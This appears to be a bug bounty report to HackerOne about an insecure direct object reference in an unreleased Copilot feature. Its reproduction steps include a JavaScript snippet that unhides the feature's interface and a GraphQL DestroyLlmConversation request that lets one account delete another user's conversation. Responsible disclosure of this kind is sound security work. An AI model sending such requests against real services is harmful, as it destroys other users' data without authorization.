IDOR vulnerability in unreleased HackerOne Copilot feature

How it was found

Summary: Hello HackerOne security team :-) For a while now I have been monitoring H1 js files. I've just noticed some new GraphQL queries about HackerOne Copilot. While this feature has not yet been released, the vulnerability must be fixed. DestroyLlmConversation GraphQL mutation is vulnerable to IDOR.

Steps To Reproduce

1. Navigate to https://hackerone.com/opportunities/all
2. Execute this JS command to show Hackerone Copilot GUI

document.querySelectorAll('div').forEach(e => {
    e.classList.remove('hidden');
    e.classList.remove('dark:text-white');
});

{F2790650} 3. Hackerone Copilot GUI will appear, here you can create a new conversation. Looks like you can't talk to LLM at the moment. 4. After creating a new conversation, look for "operationName":"NewConversation", graphql request in your Proxy History and store somewhere the value of data.newConversation.llm_conversation.id from the response. 5. From the second (attacker) account, send the following graphql request:

{"operationName":"DestroyLlmConversation","variables":{"llmConversationId":"#"},"query":"\n  mutation DestroyLlmConversation($llmConversationId: ID!) {\n    destroyConversation(input: { llm_conversation_id: $llmConversationId }) {\n      destroyed\n    }\n  }\n"}

6. Go back to the victim account, refresh the page, execute the script again, and notice that the conversation is gone.

Impact

This vulnerability allows the attacker to remove any LLM conversation in the unreleased HackerOne Copilot feature. This feature has not been released yet although this might still be vulnerable in the future when this feature is released.